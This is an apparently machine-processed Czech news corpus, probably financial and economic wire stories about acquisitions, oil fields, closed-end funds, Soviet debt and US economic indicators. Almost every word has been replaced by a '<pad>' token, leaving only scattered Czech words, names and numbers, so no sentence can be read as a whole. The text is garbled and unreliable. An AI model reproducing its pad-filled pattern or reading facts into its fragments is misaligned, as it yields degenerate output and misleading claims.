Společnost <pad> , <pad> výrobce <pad> <pad> <pad> <pad> <pad> svůj <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> osobních počítačů <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> F <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Inc <pad> získala <pad> <pad> <pad> <pad> <pad> Kalipharma <pad> <pad>
Společnost <pad> <pad> farmaceutický <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> uvedla <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> hlasovacím <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> vlastnictvím <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> s <pad> <pad> <pad> <pad> .
<pad> ropy <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> asi <pad> <pad> <pad> <pad> <pad> <pad> Whiting <pad> <pad> <pad> pěti <pad> <pad> <pad> <pad> <pad> <pad> <pad> začít <pad> těžbou <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> . <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> provozují <pad> <pad> v <pad> <pad> <pad> <pad>
<pad> <pad> uvedla <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> denně <pad>
<pad> <pad> <pad> <pad> <pad> <pad> 21 <pad> <pad> <pad>
<pad> <pad> <pad> pěti <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> Dolphin začnou <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Seahorse <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> Esso <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> co <pad> <pad> <pad> v <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> daně <pad>
Společnost <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> 10.2 <pad> <pad> <pad> <pad> prezidentem <pad> <pad> R <pad> <pad> <pad> dalšími <pad> <pad>
<pad> <pad> <pad> <pad> . P <pad> Scherer <pad> <pad> <pad> <pad> Lehman <pad> <pad> v <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> Optical <pad> <pad> <pad> <pad> <pad>
<pad> dům uvedl <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> typů <pad> <pad> <pad> <pad> vyráběny <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> a <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> změny <pad> generalizovaném <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> hodinek <pad> <pad>
Společnost <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , spadajících <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> prohlásil , <pad> <pad> prezident <pad> <pad> <pad> <pad> <pad> <pad> <pad> 18 <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> hodinek <pad> <pad> <pad> na <pad> <pad> <pad> <pad>
<pad> <pad> je <pad> <pad> <pad> <pad> <pad> <pad> , včetně <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> v <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> hlavními <pad> <pad> které <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
Podle <pad> <pad> <pad> <pad> <pad> Hillsové <pad> <pad> <pad> <pad> <pad> <pad> teď <pad> splňovat <pad> <pad> <pad> <pad> cla <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> milionu <pad> <pad> <pad> <pad> <pad> malá <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> Magna <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> výrobci <pad> součástí <pad> <pad> <pad> <pad> , <pad> <pad> .
<pad> <pad> <pad> <pad> na <pad> <pad> <pad> <pad> <pad> <pad> kapitálu <pad> <pad> <pad> <pad> dosažena <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> současné <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> společnosti <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> začíná <pad> průmysl <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> provozního <pad> <pad> <pad> růstu <pad> <pad>
<pad> <pad> snížila nedávno své <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> kanadského <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Na <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> nárůstem <pad> <pad> <pad> <pad> na <pad> <pad> <pad> <pad>
<pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> post <pad> <pad> <pad> <pad> <pad> <pad> o <pad> <pad> <pad> <pad> <pad>
Analytici <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> společnosti <pad>
<pad> <pad> že <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> že <pad> <pad> <pad> <pad> <pad> <pad> asistence <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> McAlpine <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> McAlpine <pad> <pad> <pad> <pad> <pad> kariéře <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> klientů <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> britské <pad> společnosti .
<pad> <pad> <pad> sami <pad> dva <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> v <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> asociace <pad>
Tyto <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> řekl předseda <pad> Fannie <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> , <pad> <pad> <pad> <pad> <pad> <pad> bylo <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> Hongkongu <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> po <pad> <pad> <pad> <pad> <pad> <pad> <pad> v <pad> 570 <pad> <pad> <pad>
<pad> fond <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Dva nejnovější <pad> <pad> <pad> <pad> společnostmi <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> jeden <pad> <pad> s <pad> <pad> a <pad> <pad> s <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> papíry mohou <pad> <pad> předčasně , <pad> <pad> <pad> <pad> <pad> a <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> platby na <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> že <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Maxwell <pad> se staly <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> prostředky <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> cenných papírech <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> se <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> když <pad> <pad> <pad> <pad> <pad> <pad> <pad> společnosti <pad> Mae <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> . <pad> <pad> <pad> <pad> <pad> <pad> byl <pad> <pad> <pad> <pad> <pad> <pad> <pad> byla <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> oznámila <pad> <pad> <pad> <pad> konkurzního <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> společnost <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> reorganizace <pad> do <pad> . <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> 11 federálního <pad> <pad> <pad> <pad> <pad> <pad> soudní <pad> <pad> <pad> <pad> <pad> <pad> <pad> kdy <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> p <pad> A <pad> <pad> <pad> <pad> <pad> <pad> jednotku <pad> <pad> <pad> <pad> V <pad> <pad> nabídku <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> oběhu <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> dnešním <pad> <pad> <pad> Journal <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> 72 <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> oznámené smlouvy <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> rezervy <pad> <pad> <pad> <pad> měn a <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> 1.82 <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> celková <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> intenzivní intervence <pad> <pad> na <pad> <pad> <pad> <pad> <pad> června <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Toto <pad> <pad> <pad> <pad> <pad> <pad> <pad> zahraničních <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> investiční <pad> <pad> <pad> <pad> <pad> <pad> Wall <pad> <pad> <pad> <pad> uzavřených <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> . <pad> zabývající <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> alespoň <pad> <pad> zemí <pad> což <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Dostihová <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> bude <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> poprvé , <pad> hlava <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad>
<pad> <pad> <pad> možné <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> poznamenává <pad> <pad> <pad> řídící <pad> ve <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ve <pad> <pad> letech , <pad> <pad> <pad> <pad> <pad> staly <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> 1929 <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> je <pad> <pad> <pad> <pad> fondy <pad> <pad> <pad> <pad> <pad> <pad> <pad> počet <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Díky <pad> <pad> <pad> <pad> <pad> zemí <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> či <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> aktivech <pad>
<pad> <pad> <pad> <pad> <pad> <pad> " <pad> , dříve <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> k <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Upham <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> velmi <pad> <pad> <pad>
Soukromí <pad> <pad> <pad> <pad> <pad> <pad> odvracejí a <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> rozhazují <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> často <pad> investory <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> mnohé <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad>
Fondy <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> položit <pad>
Další <pad> <pad> <pad> <pad> <pad> <pad> mají <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> téměř <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> o <pad> <pad> <pad> Španělský <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> roce <pad> <pad> <pad> většiny <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> kolem <pad> <pad> <pad> <pad> <pad> tím <pad> <pad> <pad> <pad> <pad> <pad> <pad> s <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> a <pad> <pad> loňska <pad> <pad> <pad> <pad> více <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> při <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> fondů <pad> letos <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> pravděpodobně vyplatí <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> uzavřených <pad> <pad> investory <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> vylétly <pad> <pad> <pad> <pad> <pad> <pad> <pad> k <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> spjatou <pad> evropskou <pad> <pad> <pad> <pad> 1992 <pad>
I <pad> <pad> fondů <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> " <pad> <pad> <pad> <pad> Smith <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> .
<pad> mnohým <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> odolní vůči <pad> vyšších <pad> <pad> <pad> <pad> <pad>
<pad> <pad> tyto <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> " <pad> <pad> <pad>
Tak <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> fondů <pad> <pad>
<pad> <pad> <pad> že <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> fondech <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> obchodovaných v <pad> <pad>
<pad> si <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Lidem <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ze společnosti <pad> <pad> " <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> večírek <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> zahraničních <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> dluhu <pad> <pad> <pad> milionů <pad> <pad> <pad> <pad> <pad> dluží <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> pro <pad> sovětských <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> Sověty <pad> mluvčí <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> se <pad> <pad> .
<pad> <pad> <pad> <pad> americké <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> v <pad> <pad> <pad>
Tato <pad> <pad> <pad> <pad> <pad> záležitosti <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> by byla <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> 188 <pad> dolarů <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> se <pad> <pad> <pad> <pad> <pad> komunisté <pad>
Podle Johnsonova <pad> <pad> <pad> <pad> <pad> <pad> . <pad> <pad> <pad> <pad> <pad> <pad> pro <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> pokud <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> jedné <pad> <pad> <pad> <pad>
<pad> <pad> v <pad> <pad> <pad> z <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> před <pad> <pad> <pad> klíčové <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> legislativní <pad> <pad> peněz <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> z <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> války <pad>
Při <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> že objednávky <pad> <pad> a <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Národní <pad> <pad> <pad> <pad> <pad> <pad> <pad> že <pad> <pad> <pad> <pad> na <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> je <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> poporostl <pad> <pad> 46 <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> čtyřměsíčním <pad> <pad> <pad>
<pad> obchodu <pad> <pad> <pad> <pad> továrny v <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ve <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> nedošlo <pad> 59.6 <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> by <pad> <pad> <pad> <pad> <pad>
<pad> zvláštní <pad> <pad> <pad> <pad> že <pad> <pad> <pad> <pad> <pad> míře <pad> <pad> <pad> <pad> <pad> <pad> oproti <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> stouply <pad>
<pad> <pad> <pad> zprávách <pad> upravena <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> nebyly <pad> <pad> <pad> <pad> <pad> <pad>
<pad> Mayland <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ztenčovat <pad>
<pad> úrokových <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> " <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> - <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> Rady <pad> <pad> <pad> <pad>
<pad> <pad> ekonomů <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> nevyváženost <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Například <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> , že <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> zásoby <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> je <pad> <pad> <pad> <pad> 1987 <pad>
<pad> <pad> <pad> scénáři ' <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
" <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Hladké <pad> <pad> <pad> ekonomiky <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> spotřeby - <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> 109.73 <pad> dolarů po <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Objednávky <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> miliardy <pad> <pad> <pad> <pad> nárůstu <pad> <pad> <pad> <pad>
<pad> předtím <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> o <pad> <pad> <pad>
<pad> <pad> <pad> o <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> srpnu <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> od <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> % <pad> <pad> <pad> <pad> <pad> což <pad> <pad> <pad> <pad> kapitálových <pad> <pad> <pad> obrany <pad>
<pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Ve <pad> <pad> <pad> <pad> <pad> uvedlo <pad> <pad> <pad> že <pad> <pad> <pad> <pad> <pad> <pad> polovinu všech <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> Asociace <pad> <pad> <pad> <pad> <pad> že <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> domů <pad> <pad> <pad> nejdříve <pad> <pad> <pad> <pad> <pad>
<pad> <pad> soukromou <pad> <pad> klesly <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> přičemž <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> výdaje <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> přepočtu <pad> <pad> <pad> <pad> <pad> <pad> na <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> roku <pad> <pad> <pad> <pad> <pad> <pad> <pad> % <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> W . Dodge <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
Zpráva <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> zakázky <pad> <pad> jsou <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> skupina <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ekonomiku <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Inc . <pad> <pad> <pad> státě <pad> <pad>
<pad> <pad> že <pad> <pad> <pad> <pad> <pad> <pad> předpověď <pad> <pad> <pad> by <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> poskytla <pad> <pad> <pad> <pad> <pad> <pad> se <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> září <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> uvedlo <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> manažerů z <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> pod <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , klesly <pad>
<pad> <pad> ještě <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> že <pad> <pad> <pad> <pad> <pad> <pad> než <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> inflačních <pad> <pad>
<pad> <pad> <pad> <pad> <pad> než <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> zvedat .
<pad> <pad> <pad> <pad> <pad> na <pad> od <pad> <pad> <pad> <pad> <pad> <pad>
<pad> z <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> který <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> dovoz <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> říjnu a 12 <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> z jednoho <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> snižují nebo <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> jen <pad> tucet <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> mléko <pad> <pad> <pad>
" <pad> <pad> <pad> <pad> <pad> taková <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> výrobci <pad> <pad> <pad> <pad> <pad> mléka <pad>
Obvinili z <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> článku <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> stavebních <pad> <pad> miliardách <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> jsou <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Wild <pad> Chase <pad> <pad> na <pad> <pad> <pad> <pad> Harukiho <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ročníků <pad> <pad> <pad> <pad> <pad> společného <pad>
<pad> <pad> <pad> <pad> do <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad>
<pad> <pad> <pad> Dogs <pad> <pad> <pad> <pad> <pad> <pad> B <pad> <pad> <pad> <pad> <pad> epizody <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Harpovi <pad>
